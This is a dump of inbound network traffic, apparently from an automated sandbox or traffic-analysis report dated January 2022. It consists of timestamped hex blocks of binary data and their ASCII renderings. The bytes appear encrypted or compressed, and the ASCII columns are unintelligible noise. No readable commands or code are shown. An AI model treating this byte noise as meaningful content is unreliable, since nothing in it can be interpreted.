7a f8 80 91 47 fb dc 69 05 ef 56 c8 64 c8 7e 9d 3a 4f de e6 1b ef 9a a6 17 e1 6f 7c 49 7a 2f 96 5b 84 68 12 a6 0f ee e2 c8 
a8 b6 c3 48 12 28 4a e7 0f 6c 2c e7 79 2b 7d ff 7c 7a 67 dc ff 2e b9 aa 63 43 f9 38 5d 0e 1b 6d 03 12 5b ca 72 c8 70 fb ee 
aa 1c b0 fe 51 26 e6 70 ba ad 1a c7 ed bc d2 65 c9 da 19 a3 ab 1a e3 a4 bc a0 8c a8 cd f6 b6 d4 78 62 1e 51 14 5c 44 a2 
bc 3d 19 d3 3f 16 ce ec 20 90 01 10 03 7d 70 57 
Data Ascii: aD5$)1h+>g+bwL?TkUE1c=as8T<fGk'ls1,D1RDxH-Gm&*zGiVd~:Oo|Iz/[hH(Jl,y+}|zg.cC8]m[rpQ&pexbQ\D=? 
}pW

2022-01-14 11:23:07 UTC 1094 IN Data Raw: 80 c5 fe 08 93 04 d3 24 00 d4 3d 70 67 29 70 29 ea aa 64 fc b0 81 47 e1 4b 8c fb 26 ef f2 b3 17 58 ae b2 ac 23 
ec f3 be 38 48 0f ed b8 a8 6f 2d af 5a ac 1e 28 fa 84 7d 87 4c 22 e6 db 2f ea 4d a8 46 b4 38 61 0d 90 b7 4d 36 85 1d eb ef 
ce a4 c4 03 90 64 44 c0 fd 1c b1 8b d3 94 f5 f8 c3 d4 94 51 72 ed 9a e8 a2 b1 96 3d e4 fd 34 c2 d3 bf 29 24 b5 b6 1a aa 
89 8e 49 61 c6 c4 e0 fc ec 6b 6b 14 41 21 dd 7f 18 d5 b4 2e bf cf 4a 2d 6d ec 8a ed 07 b0 2e b0 fa 52 84 13 72 66 f1 6f c0 
d8 a8 e6 61 fe 8c 6a 00 be f1 a3 a3 4e e7 90 f0 f9 0d 7e aa eb 2c 31 03 95 93 ac 6f 6d ba d3 78 5d f1 5d 1b f2 4a 55 87 4e 
be 53 71 e2 2e e1 b8 3e 36 0f 8e bc ee 3b cb 1a 3c e3 e6 e6 cd 97 32 3d 99 2a 24 ae 50 e5 1c a4 66 c9 a3 30 bb 07 99 
a7 fc 13 cd db 6a e8 ea cc 65 08 a5 82 a9 5d b9 
Data Ascii: $=pg)p)dGK&X#8Ho-Z(}L"/MF8aM6dDQr=4)$IakkA!.J-m.RrfoajN~,1omx]]JUNSq.>6;<2=*$Pf0je]

2022-01-14 11:23:07 UTC 1110 IN Data Raw: cd a0 5e 86 d3 89 dc ec 77 5c 51 e4 6e 3c 31 7b 61 0f 04 15 e7 7a c2 d4 bc d0 af 10 c2 60 5d aa 1c 0d ce 33 
1a 74 48 fc c9 68 46 04 85 dc d9 69 f8 4a b0 a6 bd 81 1b 28 b2 e8 6a ad 02 c1 8d d8 5c 0c 2d 23 2e a7 ee 45 f9 d7 72 47 
27 f0 91 21 c5 f2 8d 1e ed 9e 52 78 da e2 77 ee 1f 65 91 e9 e5 10 03 c3 81 f4 78 01 a4 df da 78 e9 a9 a8 64 00 2e 77 6d 
20 aa 52 a4 6b cf 39 f1 1b 7b ff 5b 19 b3 6a 25 ec e6 86 53 67 04 fb 06 c7 b4 ed 91 82 c8 a3 18 82 93 9b b6 47 16 03 ea 
70 a2 00 69 3d 37 53 40 19 60 08 ff 8d bd 04 91 f4 bb 1b 61 35 9e 4e 75 0d 2b ba c9 a0 37 81 b1 8f ec fd 73 76 e1 a0 e4 
04 20 eb 46 d4 67 1c 11 ba 96 73 1f 04 4e 14 bf 88 23 f8 3a 61 b5 ff a9 12 8c ad 8e 73 46 14 f9 44 3b 18 68 8e cb 73 60 
d6 83 e8 64 83 b4 c3 24 38 6f 58 fb f8 9d 91 bd 05 ee bb 
Data Ascii: ^w\Qn<1{az`]3tHhFiJ(j\-#.ErG'!Rxwexxd.wm Rk9{[j%SgGpi=7S@`a5Nu+7sv FgsN#:asFD;hs`d$8oX

2022-01-14 11:23:07 UTC 1126 IN Data Raw: 52 e8 0f af 13 d3 5c c3 83 87 c9 f7 a1 53 49 69 1a 45 f3 74 94 00 ba 40 70 1c a5 e3 48 c7 8f 33 d1 ff db 02 5b 
c1 f4 ee df 56 1b 7f 43 42 cf b3 03 35 2b f0 09 af 4a ba c1 b9 2b cd 26 cc cb bb 16 60 9f 1c 65 96 be a9 e5 35 c3 18 96 cf 
df 1b 01 96 2d 86 48 7f 76 99 b0 17 83 f9 bd b3 2c 09 f4 df 83 92 8d 7a ff 5f 91 f4 fa 10 5d 7a bf 98 33 43 4f 14 bf bf 7f 19 
31 03 c2 84 36 fe b0 56 a6 a2 8d 0e 64 a3 18 dd 09 7d 08 f6 6d 66 e3 0e 22 3e d2 ff 38 05 c7 b5 3c 70 4f 96 17 9c 56 6c 
3d e1 79 54 79 9d 09 ff d3 9b 3d b4 54 bd d5 e7 ff 4d 8c bc 93 f7 56 0b c8 ce 1a 1a 16 d5 49 37 ed ee d6 30 b5 51 3e 9c 
40 d1 dc 9e b5 e4 5e 31 19 62 42 f9 f7 f5 2a 58 99 02 5f 97 9d 11 81 89 2d 36 73 37 51 95 95 57 c6 9c e6 7d 39 96 71 b2 
6c fb d1 db 22 24 c8 cd a3 db b3 3c d1 a3 94 
Data Ascii: R\SIiEt@pH3[VCB5+J+&`e5-Hv,z_]z3CO16Vd}mf">8<pOVl=yTy=TMVI70Q>@^1bB*X_-6s7QW}9ql"$<

Timestamp
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2022-01-14 11:23:07 UTC 1142 IN Data Raw: 10 c2 44 82 65 81 dc f2 d3 fd 5c ac 7a c4 ea 66 47 7e 67 bc ac b3 bc c4 08 28 04 30 f2 6e 8b 48 3f c4 aa 46 2a 
7d a4 09 5c 28 d1 5e 01 9c 74 bb 76 ea bc 01 51 8f 3b 67 f0 5a 65 27 2e af de 40 0c 3e 5f f3 3e 2c 4e 67 f9 6f 68 f1 91 01 
82 6a db ac 05 d3 19 22 a8 6d 37 78 e7 57 a5 8b 85 c1 c0 ef 69 34 cc ca b6 91 02 79 c3 61 50 ea 46 3f b8 d2 61 69 7b 50 
96 e9 55 a5 fd 7d 5e b8 2e 18 17 86 8d 93 61 ab ae f2 70 9d 77 6b a2 a2 76 b9 ed 3a e4 1f ef 0b fa 49 6c b5 5a 56 a1 75 
26 8e 25 0f 8a 0e 0d cd 5e ad fe fd 6b 5c 7d b1 54 11 73 5a e2 65 ed bc f9 d7 bf f7 da ac ae f0 e1 81 1d 60 f0 be e2 20 19 
6b 76 33 6a 07 2b e2 bb 83 da 21 f9 a1 78 88 e9 b1 57 35 4e 92 be 2c 0e bd 74 37 34 1a cc f6 86 c8 c6 ad 16 5c b0 2b ea 
b6 79 e3 a3 f4 03 9a a0 ea 18 d3 79 b3 64 16 1a 
Data Ascii: De\zfG~g(0nH?F*}\(^tvQ;gZe'.@>_>,Ngohj"m7xWi4yaPF?ai{PU}^.apwkv:IlZVu&%^k\}TsZe` kv3j+!xW5N,t74\+y
yd

2022-01-14 11:23:07 UTC 1158 IN Data Raw: b5 c0 84 42 f6 a1 5c 36 75 9d 0f e0 34 6a bd e9 aa bb e2 93 77 81 47 20 60 ba 69 5a 33 47 27 8d e2 f2 f9 fc f3 
9b 7a 06 67 51 c7 87 fc dc 2f 00 44 fc 97 30 8c be e5 a1 97 98 cb 14 05 db c0 2c dc 0e 84 b7 42 8b ac d7 91 55 ae 16 74 
52 e8 70 84 0a 94 dc 99 86 e5 bb 5c a3 ca 36 08 c6 1a a1 e0 9b fa e0 f9 ca ff 0c 58 9e d5 c2 4a 34 89 a7 58 d6 92 c1 8b 
fb ca 5c 8a 23 e1 8d 9d 8a f4 84 fa 1f 2e 8d 9a 6f 94 43 85 e2 85 d2 e9 99 53 c0 05 f5 06 aa c6 c2 41 16 54 ac af 46 a9 cb 
87 e5 7d 2e 4d a3 44 f4 ad 1f d2 ac 15 5c 6a 14 f5 09 10 4c e4 00 76 9a 7a 12 92 3e a9 e6 14 be db be bd 7a 18 6a 93 f9 
15 b8 bd c8 f0 d1 03 98 3f e8 a3 07 73 14 de 4c 60 8d 1c cf aa 2e 04 5c c2 16 e9 ef 1c 56 97 66 66 39 ad 66 0e 1b 42 21 
20 1e 6b cd 62 b8 52 86 60 83 f1 c1 e2 f5 77 6f ab 
Data Ascii: B\6u4jwG `iZ3G'zgQ/D0,BUtRp\6XJ4X\#.oCSATF}.MD\jLvz>zj?sL`.\Vff9fB! kbR`wo

2022-01-14 11:23:07 UTC 1174 IN Data Raw: 14 d7 ec e7 1b 6d f4 75 e7 ff 65 81 52 0b 78 96 98 95 d3 a1 70 6f 60 58 62 3c 51 67 eb b5 de 79 20 16 05 90 5f 
23 2e f8 c1 82 a9 5d 2c 1e de 09 fc c0 43 5d 1c dc c9 6b 55 32 8d f0 4a d3 8f 8e 8e 0c 99 2e 6f 24 eb bc 19 c0 cc d7 ca ec 
fd 2e 31 72 cf 3d 6f 51 54 1e 06 2b fb a4 90 e7 64 9f c6 3d 8a 2e c4 c7 81 10 24 b9 9f 41 ed 3a 3d d2 3a e2 63 d4 1b 56 
b9 44 70 0a e3 e8 fa a2 31 9c e4 3c 7d a3 a9 de 5a 7d a5 84 9a bb e9 4a f8 5f f5 91 19 92 e1 5e 49 bf 8f d9 2f 55 71 f2 17 
99 58 17 48 3b 5a 70 b3 a1 0b 4d 6a ad 4a 29 7a f3 1a 55 58 e6 79 d7 a1 03 51 62 37 0b 19 cf 14 ca ca 0f 46 ca fa 6e 75 
6e 06 ab e4 df a5 e6 99 75 5c e1 cf ff 56 8e e7 e0 3d 31 c2 cd a2 5c f6 b5 04 76 80 9d 19 29 cf d5 ff 54 cd a8 19 0d 16 55 
42 2c 43 76 17 a9 c5 f2 4c fe 29 48 19 39 c8 
Data Ascii: mueRxpo`Xb<Qgy _#.],C]kU2J.o$.1r=oQT+d=.$A:=:cVDp1<}Z}J_^I/UqXH;ZpMjJ)zUXyQb7Fnunu\V=1\v
)TUB,CvL)H9

2022-01-14 11:23:07 UTC 1190 IN Data Raw: 39 3d de 0d 8a 3f 38 9b 38 2a 9f 49 ed 20 78 a0 83 bb 08 d3 2f 52 46 06 53 c1 e0 47 63 df f5 1c 39 45 37 b1 b3 
4b 48 ee 5d 07 b1 67 30 3f 61 8a 16 96 dc 90 cd 6a 13 10 70 7f de c0 d1 29 86 cf a3 dc ed 6c 2d 57 d4 35 99 21 c0 fd d5 
d7 60 7c 58 a3 dd 61 ac fb f1 a3 ee db 47 bb f6 f8 61 c2 a0 54 c1 55 44 9f 3a 0f 94 3b 60 0f f3 d5 0e 40 a7 e0 42 d1 61 55 
49 a2 6d e6 36 d3 92 2f e2 c9 28 dd 4a ba b7 2f f0 69 cd 29 a8 c9 64 b0 72 7c 80 6b a9 b6 e3 39 48 82 60 a2 dc 3a 63 ce 
5c 0b 0d 13 b5 f6 f1 1b 3a 3d e5 71 4e ae 14 bb 3b 80 ec 4e b8 27 3f 45 a5 b6 c9 32 25 94 bf eb 14 63 3e f9 b6 f7 28 84 
b2 dc f2 72 5b 0d 2e 4b 59 3b db 99 4b f2 8c c7 9d 36 ed 4a 98 c8 aa 64 99 45 dd 0d be 2f 18 09 3a b7 86 17 e8 be 38 b1 
b1 ad 19 ae 5e 77 3f 96 6b 24 68 5b 81 15 6d d9 46 
Data Ascii: 9=?88*I x/RFSGc9E7KH]g0?ajp)l-W5!`|XaGaTUD:;`@BaUIm6/(J/i)dr|k9H`:c\:=qN;N'?E2%c>(r[.KY;K6JdE/:8^w
?k$h[mF

2022-01-14 11:23:07 UTC 1206 IN Data Raw: 51 3c 26 2c a9 bc e4 b4 fd df e3 9a 39 1b 84 ed b2 01 20 be 8c 81 ad 56 72 09 8f 70 94 f1 12 e2 40 6b c6 6b f2 
b4 f8 93 22 49 83 3f e8 dc 33 78 9b 43 a2 89 c3 b2 a9 79 72 1e d1 30 95 1c ec 13 2f 7c 14 34 45 8e 67 e7 42 6d 14 73 dd 
dd 70 d4 d3 50 70 bc 5e d6 55 b3 c2 df 00 bb c7 58 42 79 5d c6 8a 38 7c ce 6e 0c 4a 01 81 82 5b b8 3c 3d ef 23 4f 09 32 
a8 34 44 17 1e ef e7 73 b7 b5 13 25 42 f1 ec 0f 74 68 7e 7c 2e ba 5f 52 a0 27 37 91 d1 37 59 09 b5 1a bf be ad 3f fb 48 c4 
bd da 54 e5 e3 c2 49 cb 1a 17 ea 22 b1 88 ae c9 4f 30 3b 5f 1a 58 bd f1 87 cb bf 52 a9 10 f1 f2 ce ec a5 f1 0c 9c 77 73 e4 
a4 be 5f 73 4e cd 37 b1 f8 46 b4 1f 17 02 41 d8 67 77 de 51 58 99 d1 03 df ce 89 02 d2 38 c0 2d 09 9d b1 ef e8 46 88 ab 
1f 81 3a 5c 49 9c f0 8a 77 94 6e 96 67 0f 7d a0 
Data Ascii: Q<&,9 Vrp@kk"I?3xCyr0/|4EgBmspPp^UXBy]8|nJ[<=#O24Ds%Bth~|._R'77Y?HTI"O0;_XRws_sN7FAgwQX8-
F:\Iwng}

2022-01-14 11:23:07 UTC 1222 IN Data Raw: 6e bc db 3d cd 3a 99 7b 02 03 4c 5e 74 2a 9a aa 3d fd c3 b1 7f ac 32 ab a9 29 11 2c e3 c6 f2 f7 ad ed b5 ab 31 
e9 7d f4 33 27 c8 78 1b 19 26 d0 18 66 cd ac cf 23 81 ef ca 5a 54 15 15 95 bb 34 86 1d 89 3a 61 c4 f7 dc cd b7 8e c6 38 
a6 f1 28 46 dc b7 d0 ba 52 03 01 e3 e1 26 ac 80 4d 04 53 75 83 65 d5 d4 e1 22 12 a6 24 5b 2e b1 e8 2d ac 1a d1 1c 58 
5a 92 da 9f 9c 79 6c 48 54 5c 02 32 56 15 5b ce ba 5b e3 4a cd 56 d0 c6 59 18 ee 8b 38 9b 12 03 3f 6f 21 9d c2 b8 cb 08 
33 d2 60 d8 e6 ca ef 0f 94 d5 4e af 0b 32 09 56 84 65 8e 50 db f5 66 10 b9 25 e5 4e 4b 5c dc 5b 53 94 72 6a cf c2 6d 29 
05 3e 75 31 ec ee a5 61 d0 2b 7a 00 1b 9a 3f a6 82 a3 ad 55 5e b6 a5 d8 a3 68 9b 7d 33 db 3a 0b e1 a3 bc ce 25 63 ba 
d2 4b 80 de 08 cd 3a 3f 11 d4 96 5e 84 6a f4 db 86 27 c8 bd 
Data Ascii: n=:{L^t*=2),1}3'x&f#ZT4:a8(FR&MSue"$[.-XZylHT\2V[[JVY8?o!3`N2VePf%NK\[Srjm)>u1a+z?U^h}3:%cK:?^j'

2022-01-14 11:23:07 UTC 1238 IN Data Raw: 1c 34 22 b3 4e f4 53 de 8a 21 a5 96 1c e0 a5 4f bb 36 ce bc 27 34 11 6e 66 08 2b dd a4 08 af 10 2c 03 0f 2a db
b7 e3 6a 14 da 31 d2 81 15 a6 9d 7a 2f da 3d 5d 4a 50 ba ab 52 1b 59 a5 04 07 41 3b a5 cb 10 0a d3 a9 64 a5 4b 30 6b 
06 53 ff 2a ee 6d f4 34 c3 07 c0 ca 4e 14 6e 1e 87 6d 81 84 2a 9d c3 a1 77 ee a9 f0 f5 ad ed 8f 40 d4 33 8d 20 f7 d2 2a 7f 
0a c8 72 c1 45 13 43 51 bb b0 04 f4 df 24 82 81 90 66 73 59 53 5a aa 88 41 f4 97 87 04 b9 75 e4 85 6f ec 64 7d 14 2f 37 
68 4a ce 7b 31 c8 70 a0 3d 5f 0b f8 ed 8f e0 79 58 40 8e fc 55 ef be 95 34 16 80 17 a8 13 a5 8b 92 c6 7d 75 cb 4c 50 e1 
8e dc bc b2 87 c5 a7 41 3f 68 34 23 23 56 02 03 f1 ef d5 7e 84 98 0b 18 6a 23 af 4c 3a b5 07 2d 9c bc 72 ea 2b 14 bd 22 
a4 72 e0 da 6a c9 6c 99 38 8b 1f bc 67 2d 07 bf 1d fa 
Data Ascii: 4"NS!O6'4nf+,*j1z/=]JPRYA;dK0kS*m4Nnm*w@3 *rECQ$fsYSZAuod}/7hJ{1p=_yX@U4}uLPA?h4##V~j#L:-
r+"rjl8g-

2022-01-14 11:23:07 UTC 1254 IN Data Raw: 0a 19 0b 51 35 f2 6c 47 56 51 0d bc 16 4a 73 34 9b 8f b3 7c 0e e8 57 d3 cf 5e 89 78 79 88 41 ad 40 d5 81 fa 20 
85 99 2f 2e 3b 4c f6 7f dd c6 5b 1a 01 31 f9 98 85 ff 5f 54 cc 0c f8 1a 2a a6 0c 9b 04 8d 89 28 36 ea 00 f8 6a 43 fe 50 b2 
79 60 c3 b0 df 9a a1 b4 25 4f b3 a2 83 aa 70 6d 55 72 1c 75 0e ef 5b 41 6d b6 ec 79 df 98 50 44 57 c6 19 27 fe 40 39 37 
38 65 91 67 df 30 60 f2 9b ce 98 bd d6 db b5 73 d3 e1 17 ab 13 a0 f8 d2 1e c0 e2 68 c4 c3 a6 a3 4b d0 6b cd bf 19 04 06 
8e 61 ad 4a 89 b1 1a dd 84 a6 5c cb fe 3e 24 bd ec b3 11 a5 de 55 bd 7e 80 13 5f bb e4 43 94 45 b1 92 f6 e0 89 fd 8e 82 
fb a7 1d 46 76 6e cf dd 5f d2 e8 ba a8 23 d8 b7 d2 1d 08 09 7c cd d3 ca 40 78 7b 62 70 f8 c8 e0 7c e0 35 c2 38 8b df 87 
19 a5 bc ee f5 f0 6d e8 29 dd e5 4c 0c b6 9a 74 cb 
Data Ascii: Q5lGVQJs4|W^xyA@ /.;L[1_T*(6jCPy`%OpmUru[AmyPDW'@978eg0`shKkaJ\>$U~_CEFvn_#|@x{bp|58m)Lt

2022-01-14 11:23:07 UTC 1270 IN Data Raw: b1 0b 1a d9 13 76 4e b4 5c cc e6 99 41 c1 d9 32 d3 72 1e 67 77 46 0e 15 32 06 ed f6 af 7e e5 77 c1 08 0a 1f 
02 fb 79 cc 44 82 80 47 8b 80 2b d6 7c c7 6d 53 d6 09 38 fd fc a0 cf 12 9f 52 9f c3 c0 48 0a d9 c9 68 d6 ff 86 9c 30 ec 69 
df e8 72 cc 39 00 16 b0 6e 45 fb 65 b5 f2 31 9c d3 28 00 e0 7d bc 3a 57 e7 b9 a7 9f 80 89 7f b6 6d 9d e7 b7 a8 64 92 f8 
a2 b5 d5 d2 7c e4 51 2c 51 54 fb 01 73 03 dc 37 1e cc f4 7e ff b1 7d 2b f7 d9 71 1c 92 57 11 ac a6 6b da c1 ae c2 11 e8 03
d4 52 60 e1 18 b2 91 41 6d f4 f7 48 82 3c 4b f3 ce d3 52 c5 15 ce 42 c7 58 9d 2d 06 6b f6 62 24 38 cb aa ac fa af 98 b4 d9 
d7 59 6c c7 f0 81 1a 72 5c 57 fa 60 39 77 3d 56 87 90 d3 ff 5d a2 e4 2f e7 d2 2d f6 11 84 33 af ea fb 84 27 ff f7 e2 78 cc 50 
fe ca d6 3e 80 13 38 18 4b 65 20 f9 55 1c 
Data Ascii: vN\A2rgwF2~wyDG+|mS8RHh0ir9nEe1(}:Wmd|Q,QTs7~}+qWkR`AmH<KRBX-kb$8Ylr\W`9w=V]/-3'xP>8Ke U

Timestamp
kBytes
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2022-01-14 11:23:07 UTC 1286 IN Data Raw: 6d b7 c2 92 0d 3b 78 31 82 c5 63 65 7e 66 d9 47 85 3d 4d 08 34 29 74 36 0a 1b a1 4d 36 bf c1 b0 93 b3 d5 fb 
f3 d2 a7 a5 6b 1c 2e 7b bf cd a2 e6 2d af 4e 0d b2 a8 fd 77 ae dc 91 3c f6 49 9f 13 cd 0a d9 cb bd 6d 50 38 9b 2a f6 59 30 
c1 14 ab df b6 44 e6 f9 5a ad f3 8f d5 a2 26 3b a1 6d dc 00 15 4f dc 9d de 5d 09 8e 4b e8 78 96 f2 67 6b 15 da 7d b1 37 
04 0b c8 7a 4c 03 90 0c 22 25 50 a0 6f 29 92 da 4c 0b 18 1d 31 ca 21 85 80 e5 46 0e 50 fb cb 9e 22 40 73 df 9e 65 f0 cf 
68 4e 38 24 71 93 a8 55 78 46 b3 44 4c fa d8 2e a0 3b e6 a3 99 c7 a4 c4 c0 9c d5 13 a6 d4 61 29 49 f7 1b 57 ba 2b 2b 45 
da a0 cf aa 7c d7 24 38 55 e9 5a fa 73 14 f8 83 3e c2 1e d9 2b 0d a9 be 27 3d 23 70 a0 8c 8f ab 8d 73 88 22 dd cb 64 86 
66 2a 1e 6b a2 06 f6 10 89 3d 7f 0e 9f 93 de da 98 1f 
Data Ascii: m;x1ce~fG=M4)t6M6k.{-Nw<ImP8*Y0DZ&;mO]Kxgk}7zL"%Po)L1!FP"@sehN8$qUxFDL.;a)IW++E|$8UZs>+'
=#ps"df*k=

2022-01-14 11:23:07 UTC 1302 IN Data Raw: ef 18 64 c8 48 50 8e fb 9f 9b e2 46 3d 9d f7 b3 d1 11 56 1d dd df 0f 28 83 f2 31 61 c0 81 a7 93 06 37 26 85 40 
0b bc c9 5a 2d 8b 57 f5 77 8c cd 1b 51 61 a0 f2 64 82 da a0 48 7b 8d dd 3e 9f e7 27 ae 64 26 34 55 a3 da b6 cf 5d bc 0f 
b5 01 24 b1 5b c3 60 52 7f 83 7a 03 c9 49 f5 42 76 37 0f 82 98 65 42 17 43 78 79 7a 7e 7a ce 83 8f e2 55 fd 2d 02 74 c2 
0e 27 6f a1 eb b3 d6 49 e9 d0 1a 3a 99 1d c8 16 6a f3 bf 7c 0c 29 9c 45 39 21 57 47 4d 5f 72 2b 0f 69 62 af 17 8d 08 cc 92 
73 52 b1 7d e0 ec f7 34 a7 6e 52 8b 3d 68 b9 b7 ea b0 94 e6 5a 50 55 78 c4 f9 17 f3 71 e5 4c 47 14 e2 e4 b7 79 e1 61 ef 
2a 17 a6 c2 97 f1 00 30 a1 8b a9 22 a4 99 c9 22 ed 7c 3f 1e 5e 95 c7 b4 dd 54 b1 6f 38 ad 75 42 89 5e 90 ca 00 67 a1 26 
6a 0e 7d bb e8 f9 ad 18 c2 56 82 28 c4 32 a6 e0 d4 
Data Ascii: dHPF=V(1a7&@Z-WwQadH{>'d&4U]$[`RzIBv7eBCxyz~zU-t'oI:j|)E9!WGM_r+ibsR}4nR=hZPUxqLGya*0""|?
^To8uB^g&j}V(2

2022-01-14 11:23:07 UTC 1318 IN Data Raw: d2 5b 99 d3 14 35 0b 4e 6c 9d 32 e4 ed 7e ee 53 ba 60 9f c6 c0 01 b9 19 bc cc b1 86 4a 06 6d a3 8a 03 90 43 
55 f4 10 bc aa 9f db 86 9f 4e e9 e8 f6 63 97 7b 9d a4 93 1c ae b8 d4 6a 41 e1 b3 d2 d9 13 27 ad d0 ae 55 f8 f0 4c 7a 01 
0b e9 6f 76 42 80 97 72 a7 f1 8f 3b a3 3f 99 de 04 6c 18 5b 48 4e bf 12 9a 4b e4 04 df aa c9 83 d7 98 89 b7 20 55 59 25 
52 35 dd e0 a3 55 1a aa 93 80 88 00 de 9f d1 bf 85 3c b3 64 74 7a 66 e1 f9 ac 7f 85 cd 01 57 0c 34 72 a4 d8 33 58 22 88 
23 59 1c e7 4f 77 2b 26 ce 59 a0 c4 52 26 fa 4c a9 12 26 09 f8 71 c6 8a 63 3f 88 fa 20 2d c9 cc b2 64 cd 58 1a fc 3e 87 a9 
4c df 80 a9 25 10 4e 03 5b 59 3e 51 5e 57 1a fd da d0 17 84 21 76 5b 73 ab 99 f5 51 51 03 31 00 c9 bb 58 c8 f5 83 d8 84 
3a 02 b5 2e 4f 23 65 47 17 3b 08 40 9a 4e 82 bc f4 12 
Data Ascii: [5Nl2~S`JmCUNc{jA'ULzovBr;?l[HNK UY%R5U<dtzfW4r3X"#YOw+&YR&L&qc? -dX>L%N[Y>Q^W!v[sQQ1X:.
O#eG;@N

2022-01-14 11:23:07 UTC 1334 IN Data Raw: 40 5a dd ea 68 9b 7c 68 93 65 28 61 03 39 c8 85 65 f8 cd 95 8f 9a 0e 94 1e b2 b0 40 ed 0b ff 57 6a e9 21 3d 
1d ab cc 69 ff 23 56 b2 dc b1 34 6f ea 07 b5 a5 34 6b d0 b1 56 e0 54 e6 8d c7 d9 9b 15 d0 31 84 d2 05 84 91 2f 9b 7f d5 
68 d7 98 59 3f 7d e4 52 08 6d 6a 86 d4 95 65 11 57 85 9c 07 77 32 9a 2f 26 52 52 0a 95 a7 a2 d8 53 5b 84 95 d2 ae 9f 81 
0a 1b 46 b0 6c ce a0 11 5c 1b c3 87 f0 7f 67 bd b7 5d 7c fc ab e2 23 71 a7 2d 70 4c 1b 0b f4 f0 2d e4 7d 4c c7 6e 95 67 
38 3a ac c0 f0 2d 8c 8d 3f 4d 39 5e 4f 47 7a d7 8b 30 87 3d de 2e f2 c7 67 d8 9b 25 6e 0b 5a 76 67 07 2f 31 d9 8a 57 65 
02 ed 54 c0 82 f8 38 a2 67 4d 66 42 b5 55 d0 d5 d2 0f 0a 94 76 fb ed aa db 30 2c a6 87 5c 75 09 24 87 07 c3 a0 f3 6e 11 
7a 23 ed 79 9c fe f7 e4 76 15 a7 eb b4 23 bf 0f 3f 93 54 
Data Ascii: @Zh|he(a9e@Wj!=i#V4o4kVT1/hY?}RmjeWw2/&RRS[Fl\g]|#q-pL-}Lng8:-?M9^OGz0=.g%nZvg/1WeT8gMfB
Uv0,\u$nz#yv#?T

2022-01-14 11:23:07 UTC 1350 IN Data Raw: 24 2d b7 15 f6 75 cb e7 a9 16 83 ff 62 0e 02 d2 7d b4 56 f4 19 de 0b 90 c8 20 54 c2 a5 05 f2 14 ac d1 c2 21 ef 
5b fa 01 31 62 e0 63 65 7f 8d cf 53 b2 00 6e 0b ae e1 2d 9f 6c 1c f2 e8 db cd 5b b3 dc 32 c0 3a ca cd a8 cd 41 a6 ef c3 32 
08 38 ca 3d 54 9e 20 bb c7 69 89 68 70 e9 e5 3b d6 87 34 c6 04 e9 b4 cf fa fe 54 5b bc 23 71 7a 4f 90 ca ba 0b fb aa 6e 
21 be 8a a5 b8 6a e5 d7 2b 4a 59 e1 ff bf db 29 4f 61 5f 52 53 2b fb 31 7f 20 47 91 e0 a2 79 0f 3a b7 d1 d6 0a da 4f 65 62 
60 71 e5 d4 cd 97 92 5d f7 d4 39 87 8e 93 bf a4 94 c2 ba 0f 38 c9 28 e1 46 3d 17 ae a0 8e 29 bd 8e 68 13 a0 1c 89 ba e4 
e6 dc 3f 57 06 99 e8 9f 7c 92 ee a1 4e 0a 15 4e 48 71 1d 9e d6 5b f2 bb fc 19 e6 6a 50 97 3d c6 eb 3d e6 57 ce 8e b3 a3 
b5 e8 73 a7 bb b2 6a 42 2c 4b 0f 27 b8 dc 7d 37 
Data Ascii: $-ub}V T![1bceSn-l[2:A28=T ihp;4T[#qzOn!j+JY)Oa_RS+1 Gy:Oeb`q]98(F=)h?W|NNHq[jP==WsjB,K'}7

2022-01-14 11:23:07 UTC 1366 IN Data Raw: 7e 5f 8e 21 59 c5 0c de b6 05 0d 5d 4b 79 68 14 11 b3 bd cd 55 df 5e bb 5c ea 01 5f 63 cf c1 1c 6b e0 95 a5 e1 
34 e5 51 4b fa da 7f 94 d7 1b a1 6b 49 cc d7 09 70 03 5e bf 15 69 21 ff 50 2e 4e 40 da fc 90 54 e7 21 2c cc 04 4f 05 a6 66 
9f ac 8a d5 57 60 bb fb c3 43 06 c3 cd b2 54 1c 3c 2b 42 b0 dc 63 8b 14 c5 02 45 4e 5a e2 d0 74 b5 aa 8f 81 08 3e 1b 0e 
80 9c 71 3b ee dc a3 d4 2f ad 06 6b 9c 23 88 05 73 56 e7 fb 32 73 6e 02 45 d0 af a5 ff 47 ef 55 b3 2e 97 a5 1a c7 0a e4 
65 f7 01 ba 6c ab 4e 74 12 24 af e1 d7 99 8f 27 65 73 8a 20 ac 6c f7 62 67 51 d2 5c 40 0f de 6e ca c4 bd cb c8 83 6e 15 
24 f4 ee d7 fc 31 b8 85 43 5e 40 81 35 db 4e c1 72 b5 6d ce 7b 02 9e 60 bf e1 c7 51 33 18 a2 0c 0e fd 9e 98 13 c1 fd 73 
de 7f 4e 53 78 db bc 4d fc 02 6e 49 8d 7f ff ac 3a 
Data Ascii: ~_!Y]KyhU^\_ck4QKkIp^i!P.N@T!,OfW`CT<+BcENZt>q;/k#sV2snEGU.elNt$'es lbgQ\@nn$1C^@5Nrm{`Q
3sNSxMnI:

2022-01-14 11:23:07 UTC 1382 IN Data Raw: ef 66 51 08 e2 a6 51 41 d4 d2 6f e2 ab 6e 7a b3 ea 59 ef 8b b9 13 e8 17 a0 45 c0 d3 a9 7a 53 f7 d6 dc 80 7c 
8b 49 57 9e a0 8b ce 5f 1a 6e 2a ac a8 2a d8 b8 a9 cd b0 1a ca cf b4 e2 1e 87 10 f1 66 05 f5 44 0b d8 42 c3 72 95 73 f5 
73 e4 d4 7e 71 f1 4c 55 26 98 42 b7 cb 46 06 3a 52 5a 14 57 fe cf aa 53 99 eb ef d3 7d e3 d8 56 9f f0 46 cd 3c 25 c1 50 1a 
c8 84 c1 0e 0e 09 84 a4 ed dc 27 f3 86 3c 6f a9 9f cd e7 6b 7d b3 98 d7 83 4e 30 3e 1a 39 06 67 30 05 39 8f 26 56 38 c6 
c7 5a 31 34 4b a8 3d ae 41 2e 61 df 00 37 a9 9b 58 61 ec 17 eb be 68 a8 89 05 e9 60 ee 5d 35 69 95 20 0c 03 d0 01 11 
ac 2f e3 68 91 f5 13 4a 65 85 e7 6a 50 02 6c 4d 0f 6b 42 e5 4f 8c b0 c3 23 78 3e 19 bd 5e 2e c6 5b 18 f5 04 96 b3 1b 34 
81 1a 82 7e 23 2d 8c 69 01 a0 0b c1 43 0a b2 f7 70 b5 1f 
Data Ascii: fQQAonzYEzS|IW_n**fDBrss~qLU&BF:RZWS}VF<%P'<ok}N0>9g09&V8Z14K=A.a7Xah`]5i /hJejPlMkBO#x>^.
[4~#-iCp

